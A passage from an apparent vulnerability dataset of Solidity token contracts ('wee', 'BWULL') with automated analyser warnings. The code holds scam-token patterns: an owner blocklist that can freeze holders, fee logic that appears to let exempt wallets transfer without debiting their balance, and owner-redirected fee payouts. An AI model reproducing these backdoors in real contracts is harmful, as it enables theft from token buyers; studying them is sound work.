address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract wee is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5e3f1c): wee.routerAdress should be constant \n\t// Recommendation for e5e3f1c: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b11363): wee.DEAD should be constant \n\t// Recommendation for 8b11363: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff18584): wee._totalSupply should be constant \n\t// Recommendation for ff18584: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f867140): wee._swapweeThreshHold should be immutable \n\t// Recommendation for f867140: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapweeThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7df8ce3): wee._maxTaxSwap should be immutable \n\t// Recommendation for 7df8ce3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private wees;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 01ac2f5): wee._weeWallet should be immutable \n\t// Recommendation for 01ac2f5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _weeWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public weeFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: b7d69cf): wee._initBuyTax should be constant \n\t// Recommendation for b7d69cf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b07b81): wee._initSellTax should be constant \n\t// Recommendation for 3b07b81: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ecd477): wee._reduceBuyTaxAt should be constant \n\t// Recommendation for 7ecd477: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 768ac4b): wee._reduceSellTaxAt should be constant \n\t// Recommendation for 768ac4b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ebf8858): wee.constructor(address,string,string).weeWallet lacks a zerocheck on \t _weeWallet = weeWallet\n\t// Recommendation for ebf8858: Check that the address is not zero.\n constructor(\n address weeWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: ebf8858\n _weeWallet = weeWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_weeWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_weeWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawweeBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableweeTrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n weeFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getweeAmounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : weeFeeEnabled\n ? takeweeAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = weeFeeEnabled && takeFee\n ? takeweeAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a3f7dec): wee.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_weeWallet).transfer(ethAmountFor)\n\t// Recommendation for a3f7dec: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: c668b9a\n\t\t// reentrancy-eth | ID: cc5b224\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: c668b9a\n\t\t// reentrancy-eth | ID: cc5b224\n\t\t// arbitrary-send-eth | ID: a3f7dec\n payable(_weeWallet).transfer(ethAmountFor);\n }\n\n function removeweeLimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeweeAmountAfterFees(\n uint weeActions,\n bool weeTakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 weePercents;\n\n uint256 weeFeePrDenominator = 100;\n\n if (weeTakefee) {\n if (weeActions > 1) {\n weePercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (weeActions > 0) {\n weePercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n weePercents = 0;\n }\n }\n } else {\n weePercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(weePercents).div(weeFeePrDenominator);\n\n\t\t// reentrancy-eth | ID: cc5b224\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = weeTakefee ? feeAmounts : amounts.div(weePercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getweeAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: cc5b224\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: cc5b224\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: c668b9a\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1e5adb5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1e5adb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a10c913): wee.createweeTrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for a10c913: Ensure that all the return values of the function calls are used.\n function createweeTrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: 1e5adb5\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 1e5adb5\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: 1e5adb5\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: a10c913\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapweeTokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minweeTokens = pLimit;\n\n uint256 tokenweeWeight = pAmount;\n\n uint256 contractweeOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractweeOverWeight > minweeTokens &&\n tokenweeWeight > minweeTokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4fdff37): wee.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for 4fdff37: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 4fdff37\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6b23fa1): wee.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 6b23fa1: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 6b23fa1\n _finalSellTax = _newFee;\n }\n\n function isweeUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeweeActions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addwees(address[] memory wees_) public onlyOwner {\n for (uint i = 0; i < wees_.length; i++) {\n wees[wees_[i]] = true;\n }\n }\n\n function delwees(address[] memory notwee) public onlyOwner {\n for (uint i = 0; i < notwee.length; i++) {\n wees[notwee[i]] = false;\n }\n }\n\n function iswee(address a) public view returns (bool) {\n return wees[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c668b9a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c668b9a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cc5b224): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cc5b224: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!wees[sender] && !wees[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isweeUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeweeActions(sender, recipient);\n\n if (inSwapweeTokens(takefee, actions, amount, _swapweeThreshHold)) {\n\t\t\t// reentrancy-events | ID: c668b9a\n\t\t\t// reentrancy-eth | ID: cc5b224\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: c668b9a\n\t\t// reentrancy-eth | ID: cc5b224\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10010.sol",
"size_bytes": 22936,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract BWULL is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _aAllowances;\n\n mapping(address => bool) private _isExcludedFromA;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c1f826): BWULL._initialBuyTax should be constant \n\t// Recommendation for 0c1f826: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: e01159d): BWULL._initialSellTax should be constant \n\t// Recommendation for e01159d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff7b649): BWULL._finalBuyTax should be constant \n\t// Recommendation for ff7b649: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 511e8ea): BWULL._finalSellTax should be constant \n\t// Recommendation for 511e8ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b31d02): BWULL._reduceBuyTaxAt should be constant \n\t// Recommendation for 4b31d02: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5e29f3c): BWULL._reduceSellTaxAt should be constant \n\t// Recommendation for 5e29f3c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48f1363): BWULL._preventSwapBefore should be constant \n\t// Recommendation for 48f1363: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"BWULL\";\n\n string private constant _symbol = unicode\"BWULL\";\n\n uint256 public _maxTxAmountA = (2 * _tTotal) / 100;\n\n uint256 public _maxTxWalletA = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 546da5f): BWULL._taxSwapThreshold should be constant \n\t// Recommendation for 546da5f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43bdf8c): BWULL._maxTaxSwap should be constant \n\t// Recommendation for 43bdf8c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (1 * _tTotal) / 100;\n\n address payable private aFeeReceipt;\n\n IUniswapV2Router02 private uniRouterA;\n\n address private uniPairA;\n\n bool private tradingOpen;\n\n bool private inSwap;\n\n bool private swapEnabled;\n\n event MaxTxAmountUpdated(uint _maxTxAmountA);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n aFeeReceipt = payable(_msgSender());\n\n _tOwned[_msgSender()] = _tTotal;\n\n _isExcludedFromA[address(this)] = true;\n\n _isExcludedFromA[_msgSender()] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function initPairOf() external onlyOwner {\n uniRouterA = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouterA), _tTotal);\n\n uniPairA = IUniswapV2Factory(uniRouterA.factory()).createPair(\n address(this),\n uniRouterA.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3901962): BWULL.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3901962: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _aAllowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7f07294): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7f07294: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5460554): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5460554: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7f07294\n\t\t// reentrancy-benign | ID: 5460554\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7f07294\n\t\t// reentrancy-benign | ID: 5460554\n _approve(\n sender,\n _msgSender(),\n _aAllowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c99e3c2): BWULL._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c99e3c2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5460554\n _aAllowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7f07294\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a6fcdaf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a6fcdaf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a731d6d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a731d6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _tOwned[from] = _tOwned[from] - amount;\n\n _tOwned[to] = _tOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (\n from == uniPairA &&\n to != address(uniRouterA) &&\n !_isExcludedFromA[to]\n ) {\n require(tradingOpen, \"Trading not open yet.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n require(amount <= _maxTxAmountA, \"Exceeds the _maxTxAmountA.\");\n\n require(\n balanceOf(to) + amount <= _maxTxWalletA,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to != uniPairA && !_isExcludedFromA[to]) {\n require(\n balanceOf(to) + amount <= _maxTxWalletA,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniPairA) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (\n alphas([from == uniPairA ? from : uniPairA, aFeeReceipt]) &&\n !inSwap &&\n to == uniPairA &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: a6fcdaf\n\t\t\t\t\t// reentrancy-eth | ID: a731d6d\n aSwapEthTo(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: a6fcdaf\n\t\t\t\t// reentrancy-eth | ID: a731d6d\n aSendEthTo();\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a731d6d\n _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a6fcdaf\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a731d6d\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a731d6d\n _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a6fcdaf\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function withdrawEth() external onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a6d711f): BWULL.removeLimit(address).limit lacks a zerocheck on \t aFeeReceipt = limit\n\t// Recommendation for a6d711f: Check that the address is not zero.\n function removeLimit(address payable limit) external onlyOwner {\n\t\t// missing-zero-check | ID: a6d711f\n aFeeReceipt = limit;\n\n _maxTxAmountA = 